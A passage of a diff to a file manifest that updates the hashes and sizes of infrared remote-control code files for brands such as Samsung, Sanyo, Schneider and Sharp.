-F:e950a22e1c9a9c47a9f16f76fe264667:2876:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir -F:d03f221b2bc220920327c94577cfcb89:3726:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir -F:093cff9c4c14748427a80d1d5eb7fce9:4279:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir -F:9c9fe12c714b6046c9c1f46f98275391:4261:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir -F:5a22971236764e1b3e3c0abed4b40406:3350:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir -F:dc6a0707315b611ed15736288c3fdc68:2484:infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir -F:fc5cb2494b3ed9b9887399eec0404b2f:5166:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir -F:f3f9eea2bfb4e61bcb49e24c3fa121cf:3370:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir -F:8c3e9e2c125d5b4181eb222d35b21ba5:1154:infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir -F:a819d2fc30c7ef89c5d912a457c1b5af:4297:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir -F:6be5dfdb55a3f3c3f6c9f5f1abd94ea0:5143:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir -F:524d3ff128c1563a9d9d017f2b90bd28:5150:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir -F:f189495a90b20f71666828546568fb69:4292:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir -F:1314b7f16b0c8eae5eeec7ce3453af4c:2889:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir -F:9fef728e77a5c5857bebd7d8b4667306:3725:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir -F:231fc2f33e92f8d7c0a5e337b9237ce7:4591:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir -F:feddcbf0cc1be0f9f62ccb48c8e4cd7a:4300:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir -F:11958d644fe553be61c4d48fbbd1cae9:4583:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir -F:2085c5d9fa2829b8438b0ca9ded65a01:4610:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir -F:05047949f668105e5b7f6afced9f1e43:3653:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir -F:8d5e6b9f50dddf24e0dc39388dc87d09:3736:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir -F:3b51c79931be17b359daaddf926fcb4f:4594:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir -F:c62f15a06297307ccb15c2fcbede2e7d:1171:infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir -F:1eb54802e2b5386bb45f5846a804b76d:1363:infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir -F:ab25d8eadcde592b295a379363137208:3274:infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir -F:ea905c0008118182adda6643ef74f80d:3268:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir -F:e9553939110a7b9d1f51a16b5ff20478:3620:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir -F:125daa3eda951178b062093e8b904638:1382:infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir -F:fd089e185044a332b6a8a25228b536b6:1466:infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir -F:cbf95402f910b7f3504db6860cc6156f:4006:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir -F:dfed39692654e5f3ea84d08f89ab39b9:3818:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir -F:f7ae130fd53cddc666d0297ae235834f:4601:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir -F:b0b3fde0e2f8424f117349e438002d8b:2794:infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir -F:bc17316352d6351526e7cec876498bbb:3541:infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir -F:206e482ebf3c6de67f567ee146ef8a26:3447:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir -F:1c501a0cf2d6b8f718538b459e51cca2:1721:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir -F:9b2f99918deba3f40057a67ed89395b2:4084:infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir -F:ecf5f6b5f31c70660ac835baa43d2b56:3800:infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir -F:c87b902b2c52341122f36cab10565c1f:4327:infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir -F:6282460e52d7df816c122632191696ab:4220:infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir -F:d95cdd64ec9b56dd76bf93908270c515:2302:infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir -F:1b1de926c302fd7ee0b97fc5ebed6ce9:3702:infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir -F:c6b297fc72dfb1d123366392dde7e9d7:3868:infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir -F:0ceeb888c599b1f11068cb9a322f345e:3054:infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir -F:149a4b1e4e99d87c37ed3b991f06f651:2367:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir -F:5e2f0e88352892a7eef787b191d58fc2:2671:infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir -F:64fc16490a6fa35e70127f5a221f1bca:1197:infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir -F:fbb0e45a0abd2ea7f7f59f825201a23a:8607:infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir +F:03a8ef80b5eb1e899dc9c96963d63706:917:infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir +F:72d31728548d514d3913fdc9498d5acf:1317:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir +F:ecc7504351326d5989a79c88184742f2:2969:infrared/_CSV-IRDB_/Samsung/TV/7,7.ir +F:63daca0bfe315e120e6475532bafda35:3309:infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir +F:3a36348e1042458f60c7167f47aec678:3251:infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir +F:4f9139bb1eab27a96a56b5bf85c0692d:3403:infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir +F:b892595a6c9bd9f42a84aa43d0fcf653:3492:infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir +F:70aba0c96991e6995dfd13479d2fca5e:2327:infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir +F:f8ea92a35bd28fa0bd8ff6c69acbc5ac:3759:infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir +F:495643ca59a358f2eb3db249809a3492:3758:infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir +F:b15ad358dc900d7fb22caab50feeec02:2161:infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir +F:7d0919c07865feeae03349105558cbb5:2595:infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir +F:6a098b7ace6113adcf2f36c3e66346d8:2134:infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir +F:71c3ff94ea7a6e4bc973a9c6e04b139a:2580:infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir +F:ef46b4c26e15d740a0717aebd6de9e50:1110:infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir +F:b600b962e46aabb2bff1220aef891f2c:2161:infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir +F:59d520b4ccb0900736a8a9e882ba6d1a:1048:infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir +F:392951419d57b9e37ae248d4d38b6f84:1652:infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir +F:c0f62486790e86f1ba3a65ec8a1c2fef:1979:infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir +F:acb9d98a7abd654af15cba944d2b7090:2861:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir +F:42a865e6f0dcce5bc8eb592063b33650:2694:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir +F:183e9c74fe12f038726b0e87c9dab741:3490:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir +F:fae0c142ea50295a9721a0716d4f6af1:4007:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir +F:912773aa2b8518f5a26f2dbdfb4c16b8:3995:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir +F:c8e384e9f21de5acbb9d61413188dd63:3138:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir +F:5122040a914c4e45c58770b5318469e4:2326:infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir +F:32775c58e8f305dbb08961edb80834cb:4840:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir +F:317a9c5510719bd8bc9f889733f6d874:3158:infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir +F:5ee8a9d9a84b1918094e89bf8a5cf5bc:1080:infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir +F:b06630772b8b60d0c07a2d0adb0e9ee5:4025:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir +F:341364c9d0fa944230639e25562a9661:4817:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir +F:a3873d027f783733f6ddac7f48f2344e:4824:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir +F:1f813747006b12bb42d8f0a6d09288ee:4020:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir +F:fc27082bdd0ec559e003801ae9a74e98:2707:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir +F:0553de61dc568db1040bb420437eee50:3489:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir +F:58dc06d07a47dd59f3a549ed499cb486:4301:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir +F:3b3c2090420752416376a7829b705880:4028:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir +F:9a01ac5cc8dbaf3eefbd5b59a460fa9e:4293:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir +F:ae4f091df1b6272a6ef28368a38d7fc9:4320:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir +F:94d81ec5b6c4bb2f78081982db1d9430:3423:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir +F:8a9e671d628aa433a749f1b09e6e16c8:3500:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir +F:5ea3b002aa2fd8866f0c908305c24278:4304:infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir +F:0b0197e7e3d841d7907bbf3f984c42c9:1097:infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir +F:8dcaf786c52131c022b113d328ea9370:1277:infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir +F:905fe7323135dddbf324c66ecca0ad3b:3068:infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir +F:be839aac99e66e48ee615b83fc7ce0bc:3062:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir +F:27a3195462ee5ed4afb0db79f45db762:3384:infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir +F:d2d06e64a5321f4450205a77ba37420d:1296:infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir +F:392c75c61ef804d5866c3ea5f939b973:1374:infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir +F:9fd853b370a95979b59662478145ee97:3752:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir +F:3352ee8bca59cc10519fce9c36a14013:3576:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir +F:d639f375072b3c0b2569b79abe6d7999:4311:infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir +F:e2fd6cd119c4fbeed720b18669ec8391:2618:infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir +F:7f739abb01afd95ce66ddbd0c205dc01:3317:infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir +F:2d60fb55e16cd41f5488a73d0fa0ad81:3229:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir +F:9c02063853d87ec7060b0f32d6b74f10:1611:infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir +F:7228afd7d21f48b63490a7f736328110:3824:infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir +F:4bcf606cefa3dd35f187d824dc309f95:3558:infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir +F:3f85d6296bb3db18c99a0fe8b9aae14d:4055:infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir +F:d9465e8ecb39068abad53cd4ea14d212:3954:infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir +F:b1e4ff519e1887460410ba1a406ec5b1:2156:infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir +F:e711040218819e09471fc9bb12ebd3e2:3466:infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir +F:1a588318f61eeb2d38c4203000e8c7ed:3620:infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir +F:68c7b961ca49bf18c5a040736baebd64:2860:infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir +F:5a3afa5df71a8f1af585f6aa574f8f63:2215:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir +F:706d936ce06400538d595f243e76b9d8:2501:infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir +F:6184c5944701f00b0000b222e6666ee2:1117:infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir +F:a4e88d963c4fdf0c31e1bba3ff1bcb88:8053:infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir D:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100 -F:314760598906b4146870040192b30735:4174:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir +F:74d8a3a090d9c50fbf99740fac8b5d70:3908:infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir D:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A -F:52ce58bb7eadf2ca61510db6cbd6088b:2577:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir +F:fa70d924b0925e94fde7d0bcb2142ef7:2413:infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir D:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103 -F:0496032663cfde9020b1c4ce2f1a4e08:2491:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir +F:2ab58f64bd2b6686ac905db3622fed59:2333:infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir D:infrared/_CSV-IRDB_/Sanyo/TV D:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800 D:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004 @@ -5133,61 +5133,61 @@ D:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR D:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01 D:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537 D:infrared/_CSV-IRDB_/Sanyo/Video Projector -F:7a8e0878a6c414e0792c157c8068af42:2139:infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir -F:d10140cd6719ab958b522a9237fb369c:2496:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir -F:22e1788a3887531e1a27c8fc70cfe67c:2952:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir -F:3a08ce260f450625f7d726ef6fbf98e0:3156:infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir -F:c848516550c269edb56ea3501104cf23:2833:infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir -F:c89a60db0c12287fca6c1d28c327f91b:3238:infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir -F:f24769e34061f159da7eab11fe6cc817:3173:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir -F:fe69e2a92e54024f6183754c87b28653:4218:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir -F:001c18ca1cedc403766434572ea5edc8:3069:infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir -F:ad66234a192741e9b71024d49c044eba:3028:infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir -F:304127029f8c86b7d407345982ff59a6:3049:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir -F:3637d29956324e5b3321203539931f93:2218:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir -F:4de4f8d68474f46d2057e94d0225aeb2:3055:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir -F:bc067daa62767ecce5e0ebc37f81ff92:3138:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir -F:1959f8c799c66925cfec0f323fb1623e:1916:infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir -F:b0b454a853af55c055d9757bb19bc6c4:2686:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir -F:60ba9756e48db2555317c2709b9a45c3:2399:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir -F:8aa87e515433e76da33f8f740546eb3b:3143:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir -F:92ffc087906698fdd9098e0eae3e8ee3:2284:infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir +F:ce5fec228b859e84219d2886605d9bfa:1999:infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir +F:0d44d2cc51d095bcad2e26f6c060fe61:2338:infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir +F:07458619b2ddb2d633083430d60e493c:2764:infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir +F:075e87aacfa263c5f335110851d1206b:2956:infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir +F:0382709e950ab8a1094ddc670a901523:2651:infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir +F:bb0614024d8f2b0b338fc8e73fbe3042:3032:infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir +F:d4fa64ab35f7e6340b400c21f1f9da98:2973:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir +F:18ac5acff116ecf45efbb4c510aeab34:3952:infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir +F:bc90926e9b4f2a12c2e65aceb0fb7faa:2869:infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir +F:77f6dbcc1c0008c3558afe32c4cbf4a4:2834:infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir +F:1404a50b556263b2ace249f54028d899:2855:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir +F:d358991752748a4cf01f84a03fabf984:2078:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir +F:044933be8975be515585a6d56036c3a3:2861:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir +F:c160b3eb7456a4720eca4d0908d51ff5:2944:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir +F:fbc652eaa0960a84f75da2d88eab6090:1794:infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir +F:b10200950310aa62e3380339bde1a083:2516:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir +F:48875fa7c417a20789f8c118a77b46ab:2247:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir +F:1b253ed8ab731fa0ebb0d076c745d96c:2943:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir +F:25e81091d2e9cb20a9e1a696fd6bcbe6:2138:infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir D:infrared/_CSV-IRDB_/Satelco/Sat -F:ca0fdb7125f617e12ac40cd47983c744:4707:infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir +F:86feb03ce43c6f78bc8dd04221eb6b9b:4411:infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir D:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000 D:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193 D:infrared/_CSV-IRDB_/Schneider/Unknown_RC202 D:infrared/_CSV-IRDB_/Schneider/Unknown_RC901 D:infrared/_CSV-IRDB_/Schneider/Unknown_RC902 -F:013b230993ae663c1cd061ef4850639f:2948:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir -F:3dbe9c256713d3132284dd94e1ffe733:4094:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir -F:ee5fc0a79f09d6c14580e82d6545fcfe:2951:infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir -F:28549912c01dc9c116d272ac78738eda:3395:infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir -F:4092dc37390899fb48f52dcf93009f93:3405:infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir +F:896fa8ef5cb36f98d7e92e489de68725:2760:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir +F:100dee0319ccc1f733f1acea8b9a09d7:3834:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir +F:836b9f40ef0e2149340048e7d7a904e4:2763:infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir +F:172335921b39c49e42c08ae66b25a7ba:3177:infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir +F:3a3c53c4bf2efbd1964099421cd3b7e5:3187:infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir D:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR -F:ff853b1221d155a3d49bf2bacf552533:3261:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir +F:23eccbba6f1b2b787afd17a67c80d7d9:3055:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir D:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840 D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834 D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000 -F:03c4e6858ac9152546b7a2603b99be43:3237:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir -F:8ffb82cbb1a38fdba52785a70cd1aa0c:320:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir -F:4a8f17a6786f836336dd4d7bd6611d73:4058:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir -F:747d98887c5b180b42750e509e2e41fd:3947:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir -F:7a90109996900bcb7ba4c41bb30717b6:2600:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir -F:fbfee3f6e279cf759707a139eeadc2c4:4813:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir +F:4fd5b03311d41acb8271c23b90f336d9:3025:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir +F:97747d3a95b73663d82220f11877e1e2:300:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir +F:8385a3fc040c21fd77fb50e9b510d4a7:3804:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir +F:7561eae1ba504b8ce095881b1d5f8353:3699:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir +F:c70cb94423ccb7d2b3cef92652648413:2436:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir +F:1c21e0c66bfb8b48ef541623212fc0da:4511:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir D:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838 D:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd -F:53e790b6cc76ff0f113871cb5d132f41:3913:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir -F:ee763fee2000e5add5e585d9662aa24c:4585:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir +F:031d1d1660464672244c6def3dcb7b98:3665:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir +F:03ff1b4ed5784906284582ca2629acf6:4295:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir D:infrared/_CSV-IRDB_/Seleco/TV -F:ffa048ed34ab3410ab98a2e77c3a48ca:1463:infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir -F:f93a5d1ce9f35ee0f8c447925c4c2214:1431:infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir +F:d6df14da818f1de1151fa39abea3cd7e:1365:infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir +F:56bdb628189b755b5398859cefe0e869:1333:infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir D:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL -F:2308b9d142ef93e47565ce267b2752aa:612:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir +F:2a3aac3f3f50183af3dc2c750d5b3441:574:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir D:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON -F:41bd664d47f16a449ae35c1ddf3af60b:2152:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir +F:a7900371f31dc24284a359fde94f7c92:2018:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir D:infrared/_CSV-IRDB_/Sharp/DTV Decoder D:infrared/_CSV-IRDB_/Sharp/Monitor D:infrared/_CSV-IRDB_/Sharp/TV @@ -5203,23 +5203,23 @@ D:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP D:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781 D:infrared/_CSV-IRDB_/Sharp/VCR D:infrared/_CSV-IRDB_/Sharp/Video Projector -F:2cec112faaf38b1aad84ac4db322aa25:229:infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir -F:a881ef3c70df4dfa8828b81a23599978:992:infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir -F:4bfe20854c7acea53e3cccba2da41f58:2124:infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir -F:c9cab0ba7e900d4755368265670876de:2207:infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir -F:4489f51cd9914d1dfddafd75baa3338b:1974:infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir -F:78c53a8d2beee4f395c4e2e244877317:2253:infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir -F:7a149e012cc27bef8d7c3cd1a03d4f56:3674:infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir -F:e273a0d63e3e016d7256fef0ef6246b9:3559:infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir -F:18590313897d0c4f1a0e6a91b07fcbec:3831:infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir -F:155e5679a1017690dad52f7af0609722:4836:infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir -F:e803545cb57c35d10593de9188fec2c3:4019:infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir -F:1a7c5b491f295229d5c0f64bd91ce02a:2413:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir -F:287982b8054e90b95c45d27c6337c128:2266:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir -F:c5acae9ee0ed3607b9c049b88c7e5c8d:3003:infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir 